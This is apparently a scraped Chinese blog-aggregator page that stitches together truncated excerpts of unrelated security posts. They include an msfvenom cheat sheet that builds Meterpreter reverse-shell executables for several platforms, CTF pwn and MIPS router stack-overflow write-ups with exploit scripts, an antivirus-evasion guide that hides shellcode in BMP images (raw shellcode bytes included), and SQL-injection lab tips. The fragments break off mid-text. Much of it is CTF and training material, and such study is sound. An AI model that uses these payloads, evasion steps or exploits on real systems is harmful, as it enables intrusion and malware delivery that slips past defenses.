payload

msfvenom各平台payload生成

狂风中的少年 提交于 2020-03-06 18:07:49
二进制 windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。 Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf Mac msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f

i春秋公益赛之BFnote

六月ゝ 毕业季﹏ 提交于 2020-03-06 11:42:39
题目链接:https://buuoj.cn/challenges#gyctf_2020_bfnote 首先检查程序开的保护: 发现程序只开了canary和NX保护,接下来查看IDA反汇编出来的为代码,发现在输入description时存在栈溢出: 在输入note时存在堆溢出: 本题的难点在于不能通过覆盖canary的低字节来泄漏canary,也不好泄漏libc基址来构造ROP。 解法一: canary是Linux的栈溢出保护机制,通常情况下是保存在TLS结构体中,而TLS结构体是由mmap分配的内存空间,故给了我们利用的可能。 利用思路: 分配一个大小为0x200000的chunk,此时会调用mmap分配内存 由上文的堆溢出漏洞可知,我们只要控制好v4的值,就可以向TLS结构体中写入数据,从而覆盖原有的canary 绕过canary保护后通过把栈迁移到.bss段 ret2_dl_runtime_resolve 在构造ret2_dl_runtime_resolve时要注意利用的.bss地址不要过大或过小 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; //在伪造时注意此处下标过大会指向非法地址导致失败 最终利用脚本: #-*- coding

一步一步pwn路由器之rop技术实战

非 Y 不嫁゛ 提交于 2020-03-06 00:08:28
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这次程序也是 DVRF 里面的,他的路径是 pwnable/ShellCode_Required/stack_bof_02 , 同样是一个简单的栈溢出,不过这个程序里面没有提供 getshell 的函数,需要我们执行shellcode来实现。这个正好实战下前文: 一步一步pwn路由器之路由器环境修复&&rop技术分析 ,中分析的在mips下的通用的rop技术。 正文 首先使用 qemu 运行目标程序,并等待 gdb 来调试。 sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./pwnable/Intro/input`" 使用pwntools的 cyclic 功能,找到偏移 验证一下: payload = "A" * 508 + 'B' * 4 with open("input", "wb") as f: f.write(payload) OK, 现在我们已经可以控制程序的 $pc 寄存器了,下一步就是利用的方法了。使用前文的那个 rop 链,我们需要可以控制 $s1 寄存器。但是这里我们并没有办法控制。不过在 这里

一步一步pwn路由器之栈溢出实战

◇◆丶佛笑我妖孽 提交于 2020-03-05 23:37:24
前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为例,在实战 MIPS 架构中栈溢出的简单利用。 正文 去github上面把 DVRF 下载下来,然后用 binwalk 解开 在 pwnable 目录下就是相应的示例程序 在解开的文件系统的根目录下使用 chroot 和 qemu 运行 程序: sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat ./pwnable/Intro/input`" 使用了 cat 命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。 stack_bof_01 是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 strcpy 拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 ra 寄存器保存到栈栈上的值,进而可以控制 $pc 的值。 修改文件内容的 python 脚本如下 #!/usr/bin/python padding = "O" * 204 payload = padding + "B"*4 with open("input", "wb")

免杀工具汇总

两盒软妹~` 提交于 2020-03-04 08:31:12
今天整理以前的笔记,把这部分工具整理了一下,虽然没有白利用稳,但这些工具也能在一定程度起到一定的免杀作用。 DKMC 项目地址: https://github.com/Mr-Un1k0d3r/DKMC 可以创建一个 outputs 文件夹 存放 shellcode 启动 python dkmc.py 操作顺序: Sc :是将 msf 生成的 raw 文件转换位 shellcode 代码 Gen :是将其 msf 的 shellcode 注入到 BMP 图片中 Ps :将其 BMP 的图片转换为 powershell 代码 Web :将其开启 web 功能 第一步,先生成原始的 shellcode msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.174 lport=7777 -e x86/shikata_ga_nai -i 16 -f raw -o /root/DKMC/dk 第二步,生成 shellcode ,将生成的 shellcode 保存到文本里,exit 退出 \xdb\xc3\xb8\xa4\x85\xc1\x7d\xd9\x74\x24\xf4\x5e\x31\xc9\xb1\xbb\x83\xee\xfc\x31\x46\x15\x03\x46\x15\x46\x70\x7f\xa8\x6b

Handling an authentication page returned by an axios request in vue

感情迁移 提交于 2020-03-03 07:08:25
问题 I have a vue app that sits behind a firewall, which controls authentication. When you first access the app you need to authenticate after which you can access the app and all is well until the authentication expires. From the point of view of my app I only know that the user needs to re-authenticate when I use axios to send off an API request and instead of the expected payload I receive a 403 error, which I catch with something like the following: import axios from 'axios' var api_url = '...

jwt和session的区别和优缺点

…衆ロ難τιáo~ 提交于 2020-03-02 21:16:37
背景知识:Authentication和Authorization的区别: Authentication:用户认证,指的是验证用户的身份,例如你希望以小A的身份登录,那么应用程序需要通过用户名和密码确认你真的是小A。 Authorization:授权,指的是确认你的身份之后提供给你权限,例如用户小A可以修改数据,而用户小B只能阅读数据。 由于http协议是无状态的,每一次请求都无状态。当一个用户通过用户名和密码登录了之后,他的下一个请求不会携带任何状态,应用程序无法知道他的身份,那就必须重新认证。因此我们希望用户登录成功之后的每一次http请求,都能够保存他的登录状态。 目前主流的用户认证方法有基于token和基于session两种方式。 基于session的用户认证 基于session的认证流程如下: 用户输入其登录信息 服务器验证信息是否正确,并创建一个session,然后将其存储在数据库中 服务器为用户生成一个sessionId,将具有sesssionId的Cookie将放置在用户浏览器中 在后续请求中,会根据数据库验证sessionID,如果有效,则接受请求 一旦用户注销应用程序,会话将在客户端和服务器端都被销毁 基于token(令牌)的用户认证 最常用的是JSON Web Token(jwt): 用户输入其登录信息 服务器验证信息是否正确,并返回已签名的token

bjdctf_2020_babyrop2

人走茶凉 提交于 2020-03-02 19:39:26
程序存在两个漏洞,gift存在格式化字符串漏洞,vuln存在栈溢出漏洞 这题和攻防世界的 Mary_Morton 类似,用格式化字符串漏洞泄露canary,然后就是常规的栈溢出来getshell,需要注意的是在gift里面只能输入6个字符 脚本如下 # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import * context.log_level='debug' r=remote('node3.buuoj.cn',27345) #r=process('./bjdctf_2020_babyrop2') elf=ELF('./bjdctf_2020_babyrop2') pop_rdi=0x0000000000400993 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] vuln_addr=elf.symbols['vuln'] #泄露canary r.recvuntil("I'll give u some gift to help u!") r.sendline('%7$p') r.recvuntil('0x') canary=int(r.recv(16),16) print('[+]canary: ',hex(canary)) payload='a'*

others_babystack

血红的双手。 提交于 2020-03-02 10:28:27
Full RELRO 为got表只读 程序的功能如下 1是read函数,存在栈溢出,2是puts函数,可以泄露canary,3是退出 思路 :程序中插入了canary,用puts函数泄露,然后再用puts函数来泄露puts_got,用libcsearcher获得libc版本,最终getshell canary最后一个字节是 \x00 ,即可以覆盖canary的低字节,打印出其余canary,但是puts函数遇到 \x00 就停止,所以这里用 \n 来覆盖 \x00 # -*- coding: utf-8 -*- from pwn import * from LibcSearcher import * context.log_level='debug' #r=remote('node3.buuoj.cn',28246) r=process('./babystack') pop_rdi=0x0000000000400a93 elf=ELF('./babystack') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_addr=0x400908 #泄露canary r.sendlineafter('>>','1') r.sendline('a'*(0x90-0x8)) r.sendlineafter('>>','2') r

sql-lab 11-20关通关秘籍

若如初见. 提交于 2020-03-02 04:26:27
前言 经过前面10道题的学习与理解,后面的这10道题,会相对来说较容易理解,11-20关均为post传递,可以用burrp_suit或者hackbar进行注入。 Less-11 主要运用单引号闭合的联合注入 1.模拟真实环境,DUmp用户使用Dump密码登录, 2.进行注入点的判断。 3.使用 1’ or 1=1#找到他的闭合方式。 4.接下来找出有多少个字段。 ( -1’ order by 3# ) 接下来就是一般的联合注入法了,还是一次进行数据库、表、字段、用户的爆破,详细见上一篇的内容。 Less-12 基本方式与11关相似,闭合方式为 ") Less - 13 post提交参数,报错注入 ') 基于post提交数据的报错注入(GET一样的操作,不一样的位置) Less-14 POST提交参数,双引号闭合方式 ") Less- 15 POST提交参数,单引号闭合,时间延迟型注入 Less-16 双引号加括号闭合,时间延迟性注入,15;16关较为相似。 Less- 17 这一关与上面的关卡不一样,会用到新内容。单引号报错型,注释符可用,这里对uname做了check_input的处理,函数如下 只截取15个字符 get_magic_quotes_gpc() 当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1 当magic